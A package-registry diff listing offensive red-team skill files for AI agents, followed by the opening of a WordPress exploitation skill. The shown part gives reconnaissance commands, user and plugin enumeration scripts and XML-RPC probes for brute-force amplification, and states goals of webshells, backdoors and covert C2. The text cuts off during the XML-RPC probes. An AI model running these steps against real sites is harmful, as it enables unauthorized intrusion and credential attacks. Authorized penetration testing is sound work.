rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1565 @@
1
+ ---
2
+ name: rt-exploit-wordpress
3
+ description: "WordPress and CMS exploitation skill. Covers WordPress username enumeration, plugin CVE exploitation, wp-admin brute force, XML-RPC exploitation, file upload via plugins, Application Password backdoors, WPML SQLi, Elementor CVEs, popup-builder CVE-2024-3673 (unauthenticated file upload), WPScan automation. Based on real Almentor engagement findings."
4
+ ---
5
+
6
+ # rt-exploit-wordpress
7
+
8
+ WordPress and CMS exploitation skill for red team operations. Covers the full attack chain from enumeration to persistence, with techniques validated against real-world targets including the Almentor engagement.
9
+
10
+ ---
11
+
12
+ ## 1. Overview
13
+
14
+ WordPress powers approximately 43% of all websites. Its plugin ecosystem is the primary attack surface — thousands of plugins ship with critical vulnerabilities, and most site owners do not patch promptly. This skill covers the complete WordPress attack chain:
15
+
16
+ - Passive and active enumeration (versions, users, plugins, themes)
17
+ - Plugin CVE lookup and exploitation
18
+ - Authentication attacks (brute force, XML-RPC, Application Passwords)
19
+ - File upload and webshell deployment via vulnerable plugins
20
+ - Persistence via Application Password backdoors and plugin implants
21
+ - Database extraction via SQLi plugins
22
+ - WAF bypass techniques
23
+ - Integration with the RTExit autodoc engine
24
+
25
+ **Key files to target:**
26
+ - `wp-config.php` — database credentials, secret keys, debug settings
27
+ - `wp-content/debug.log` — may contain credentials, stack traces, PII
28
+ - `wp-content/uploads/` — often world-readable, webshells land here
29
+ - `wp-includes/` — core files, rarely modified, good for stealth implants
30
+ - `.htaccess` — server config, sometimes contains credentials
31
+
32
+ **Scope prerequisite:** Confirm written authorization covers the target WordPress installation before executing any commands.
33
+
34
+ ---
35
+
36
+ ## 2. Skill Levels
37
+
38
+ ### BEGINNER
39
+
40
+ Focus: passive enumeration, WPScan basics, public CVE lookup.
41
+
42
+ **Objectives:**
43
+ - Identify WordPress version
44
+ - Enumerate users and active plugins
45
+ - Look up known CVEs for discovered plugins
46
+ - Document findings in RTExit format
47
+
48
+ **Tools required:** WPScan, curl, browser
49
+
50
+ **Typical time:** 30–60 minutes per target
51
+
52
+ ---
53
+
54
+ ### INTERMEDIATE
55
+
56
+ Focus: active exploitation of known plugin CVEs, XML-RPC abuse, credential attacks.
57
+
58
+ **Objectives:**
59
+ - Exploit unauthenticated plugin vulnerabilities
60
+ - Perform XML-RPC brute force and command execution
61
+ - Extract wp-config.php and debug.log
62
+ - Gain low-privilege WordPress user access
63
+
64
+ **Tools required:** WPScan, Metasploit, curl, Python 3, Burp Suite
65
+
66
+ **Typical time:** 1–3 hours per target
67
+
68
+ ---
69
+
70
+ ### ADVANCED
71
+
72
+ Focus: authenticated exploitation, file upload webshells, SQLi, privilege escalation.
73
+
74
+ **Objectives:**
75
+ - Upload webshells via vulnerable plugin admin interfaces
76
+ - Exploit WPML/Elementor SQLi for data extraction
77
+ - Create Application Password backdoors for persistence
78
+ - Move laterally to underlying OS via webshell
79
+
80
+ **Tools required:** WPScan, sqlmap, custom Python scripts, Burp Suite, msfvenom
81
+
82
+ **Typical time:** 2–6 hours per target
83
+
84
+ ---
85
+
86
+ ### EXPERT
87
+
88
+ Focus: stealth persistence, WAF bypass, supply-chain implants, custom plugin backdoors.
89
+
90
+ **Objectives:**
91
+ - Deploy persistent backdoor plugins that survive updates
92
+ - Bypass WAF/IDS for all stages of the chain
93
+ - Implant malicious code in existing plugin files
94
+ - Maintain covert C2 channel via WordPress hooks
95
+ - Full database exfiltration with minimal log footprint
96
+
97
+ **Tools required:** Custom tooling, Burp Suite Pro, WPScan API key, C2 framework
98
+
99
+ **Typical time:** Varies — typically a full engagement day
100
+
101
+ ---
102
+
103
+ ## 3. Step-by-Step Attack Workflow
104
+
105
+ ### Phase 1: Reconnaissance
106
+
107
+ **Step 1 — Passive fingerprinting**
108
+
109
+ Check HTTP headers and HTML source for WordPress indicators before sending active scan traffic:
110
+
111
+ ```bash
112
+ # Check response headers
113
+ curl -sI https://target.com | grep -i 'x-powered\|server\|link\|generator'
114
+
115
+ # Extract generator meta tag
116
+ curl -s https://target.com | grep -i 'generator'
117
+
118
+ # Check for wp-json API (confirms WordPress and leaks user info)
119
+ curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool
120
+
121
+ # Check robots.txt for WordPress paths
122
+ curl -s https://target.com/robots.txt
123
+
124
+ # Check readme.html for exact version
125
+ curl -s https://target.com/readme.html | grep -i 'version'
126
+
127
+ # Check wp-links-opml.php (leaks version in generator field)
128
+ curl -s https://target.com/wp-links-opml.php
129
+ ```
130
+
131
+ **Step 2 — WPScan passive enumeration**
132
+
133
+ ```bash
134
+ # Basic scan — detect version, plugins, themes (no brute force)
135
+ wpscan --url https://target.com --detection-mode passive
136
+
137
+ # With API token for CVE lookup (get free token at wpscan.com)
138
+ wpscan --url https://target.com \
139
+ --api-token YOUR_WPSCAN_API_TOKEN \
140
+ --detection-mode passive \
141
+ --format json \
142
+ --output /path/to/output/target_wpscan_passive.json
143
+
144
+ # Enumerate everything passively
145
+ wpscan --url https://target.com \
146
+ --api-token YOUR_WPSCAN_API_TOKEN \
147
+ --enumerate ap,at,cb,dbe,u \
148
+ --detection-mode passive
149
+ ```
150
+
151
+ **Step 3 — Active enumeration**
152
+
153
+ ```bash
154
+ # Full aggressive scan — enumerate all plugins, themes, users
155
+ wpscan --url https://target.com \
156
+ --api-token YOUR_WPSCAN_API_TOKEN \
157
+ --enumerate ap,at,cb,dbe,u \
158
+ --detection-mode aggressive \
159
+ --plugins-detection aggressive \
160
+ --plugins-version-detection aggressive \
161
+ --format json \
162
+ --output /path/to/output/target_wpscan_aggressive.json
163
+
164
+ # Enumerate users only (multiple methods)
165
+ wpscan --url https://target.com \
166
+ --enumerate u \
167
+ --detection-mode aggressive
168
+
169
+ # Enumerate specific plugin
170
+ wpscan --url https://target.com \
171
+ --enumerate p \
172
+ --plugins-list /usr/share/wordlists/wpscan/plugins.txt
173
+ ```
174
+
175
+ **Step 4 — Manual user enumeration**
176
+
177
+ WordPress leaks usernames in multiple places even when author enumeration is disabled:
178
+
179
+ ```bash
180
+ # Author archive enumeration (works when not disabled)
181
+ for i in $(seq 1 20); do
182
+ curl -s -o /dev/null -w "%{redirect_url}\n" "https://target.com/?author=$i"
183
+ done
184
+
185
+ # WP REST API user enumeration
186
+ curl -s "https://target.com/wp-json/wp/v2/users?per_page=100" | \
187
+ python3 -c "import sys,json; [print(u['slug'], u.get('name','')) for u in json.load(sys.stdin)]"
188
+
189
+ # Login error differentiation (different errors for valid vs invalid users)
190
+ curl -s -X POST https://target.com/wp-login.php \
191
+ -d "log=admin&pwd=invalidpassword123&wp-submit=Log+In" \
192
+ -c /tmp/wp_cookies.txt | grep -i 'error\|invalid'
193
+
194
+ # OEMBED API leaks display names
195
+ curl -s "https://target.com/wp-json/oembed/1.0/embed?url=https://target.com/&format=json"
196
+
197
+ # Check sitemap for author URLs
198
+ curl -s https://target.com/sitemap.xml | grep -i 'author'
199
+ curl -s https://target.com/sitemap_index.xml
200
+ ```
201
+
202
+ **Step 5 — Plugin and theme discovery**
203
+
204
+ ```bash
205
+ # Check if common plugins exist
206
+ plugins=(
207
+ "contact-form-7"
208
+ "woocommerce"
209
+ "elementor"
210
+ "elementor-pro"
211
+ "popup-builder"
212
+ "wpml"
213
+ "revslider"
214
+ "wp-file-manager"
215
+ "wp-super-cache"
216
+ "yoast-seo"
217
+ "wordfence"
218
+ "all-in-one-seo-pack"
219
+ "wp-rocket"
220
+ "advanced-custom-fields"
221
+ "gravityforms"
222
+ "ninja-forms"
223
+ "mailchimp-for-wp"
224
+ "duplicator"
225
+ "backupbuddy"
226
+ )
227
+
228
+ for plugin in "${plugins[@]}"; do
229
+ status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-content/plugins/$plugin/readme.txt")
230
+ echo "$plugin: $status"
231
+ done
232
+
233
+ # Check plugin versions via readme.txt
234
+ curl -s "https://target.com/wp-content/plugins/elementor/readme.txt" | grep -i 'stable tag\|version'
235
+ curl -s "https://target.com/wp-content/plugins/popup-builder/readme.txt" | grep -i 'stable tag\|version'
236
+ ```
237
+
238
+ ---
239
+
240
+ ### Phase 2: Vulnerability Assessment
241
+
242
+ **Step 6 — Cross-reference discovered plugins with CVE databases**
243
+
244
+ ```bash
245
+ # WPScan vulnerability database (requires API token)
246
+ # Automatically shown in WPScan output with --api-token
247
+
248
+ # Manual lookup via WPScan API
249
+ curl -s -H "Authorization: Token token=YOUR_WPSCAN_API_TOKEN" \
250
+ "https://wpscan.com/api/v3/plugins/elementor" | python3 -m json.tool
251
+
252
+ curl -s -H "Authorization: Token token=YOUR_WPSCAN_API_TOKEN" \
253
+ "https://wpscan.com/api/v3/plugins/popup-builder" | python3 -m json.tool
254
+
255
+ # Search NVD (National Vulnerability Database)
256
+ curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=wordpress+popup-builder&resultsPerPage=10" | \
257
+ python3 -c "import sys,json; d=json.load(sys.stdin); [print(c['cve']['id'], c['cve']['descriptions'][0]['value'][:100]) for c in d['vulnerabilities']]"
258
+
259
+ # Search via Exploit-DB
260
+ searchsploit wordpress elementor
261
+ searchsploit wordpress popup-builder
262
+ searchsploit wordpress contact-form-7
263
+ searchsploit wordpress revslider
264
+ searchsploit wordpress wpml
265
+ ```
266
+
267
+ **Step 7 — Parse WPScan JSON output for actionable findings**
268
+
269
+ ```python
270
+ #!/usr/bin/env python3
271
+ # parse_wpscan.py — extract high/critical findings from WPScan JSON output
272
+
273
+ import json
274
+ import sys
275
+
276
+ def parse_wpscan(filepath):
277
+ with open(filepath) as f:
278
+ data = json.load(f)
279
+
280
+ print("=== WordPress Version ===")
281
+ if data.get("version"):
282
+ v = data["version"]
283
+ print(f" Version: {v.get('number', 'unknown')}")
284
+ for vuln in v.get("vulnerabilities", []):
285
+ print(f" [VULN] {vuln['title']} — CVSS: {vuln.get('cvss', {}).get('score', 'N/A')}")
286
+
287
+ print("\n=== Users ===")
288
+ for user in data.get("users", {}).values():
289
+ print(f" {user.get('slug')} (ID: {user.get('id')})")
290
+
291
+ print("\n=== Vulnerable Plugins ===")
292
+ for slug, plugin in data.get("plugins", {}).items():
293
+ vulns = plugin.get("vulnerabilities", [])
294
+ if vulns:
295
+ print(f"\n Plugin: {slug} v{plugin.get('version', {}).get('number', '?')}")
296
+ for v in vulns:
297
+ print(f" [!] {v['title']}")
298
+ print(f" CVSS: {v.get('cvss', {}).get('score', 'N/A')}")
299
+ print(f" Fixed in: {v.get('fixed_in', 'not fixed')}")
300
+ refs = v.get("references", {})
301
+ for cve in refs.get("cve", []):
302
+ print(f" CVE: CVE-{cve}")
303
+ for url in refs.get("url", [])[:2]:
304
+ print(f" Ref: {url}")
305
+
306
+ if __name__ == "__main__":
307
+ parse_wpscan(sys.argv[1])
308
+ ```
309
+
310
+ ```bash
311
+ python3 parse_wpscan.py /path/to/output/target_wpscan_aggressive.json
312
+ ```
313
+
314
+ ---
315
+
316
+ ### Phase 3: Authentication Attacks
317
+
318
+ **Step 8 — XML-RPC discovery and enumeration**
319
+
320
+ ```bash
321
+ # Check if XML-RPC is enabled
322
+ curl -s https://target.com/xmlrpc.php
323
+
324
+ # Should return: "XML-RPC server accepts POST requests only."
325
+ # If it returns 404, XML-RPC is disabled
326
+
327
+ # List available methods
328
+ curl -s -X POST https://target.com/xmlrpc.php \
329
+ -H "Content-Type: text/xml" \
330
+ -d '<?xml version="1.0"?>
331
+ <methodCall>
332
+ <methodName>system.listMethods</methodName>
333
+ <params></params>
334
+ </methodCall>'
335
+
336
+ # Check if multicall is enabled (enables brute force amplification)
337
+ curl -s -X POST https://target.com/xmlrpc.php \
338
+ -H "Content-Type: text/xml" \
339
+ -d '<?xml version="1.0"?>
340
+ <methodCall>
341
+ <methodName>system.multicall</methodName>
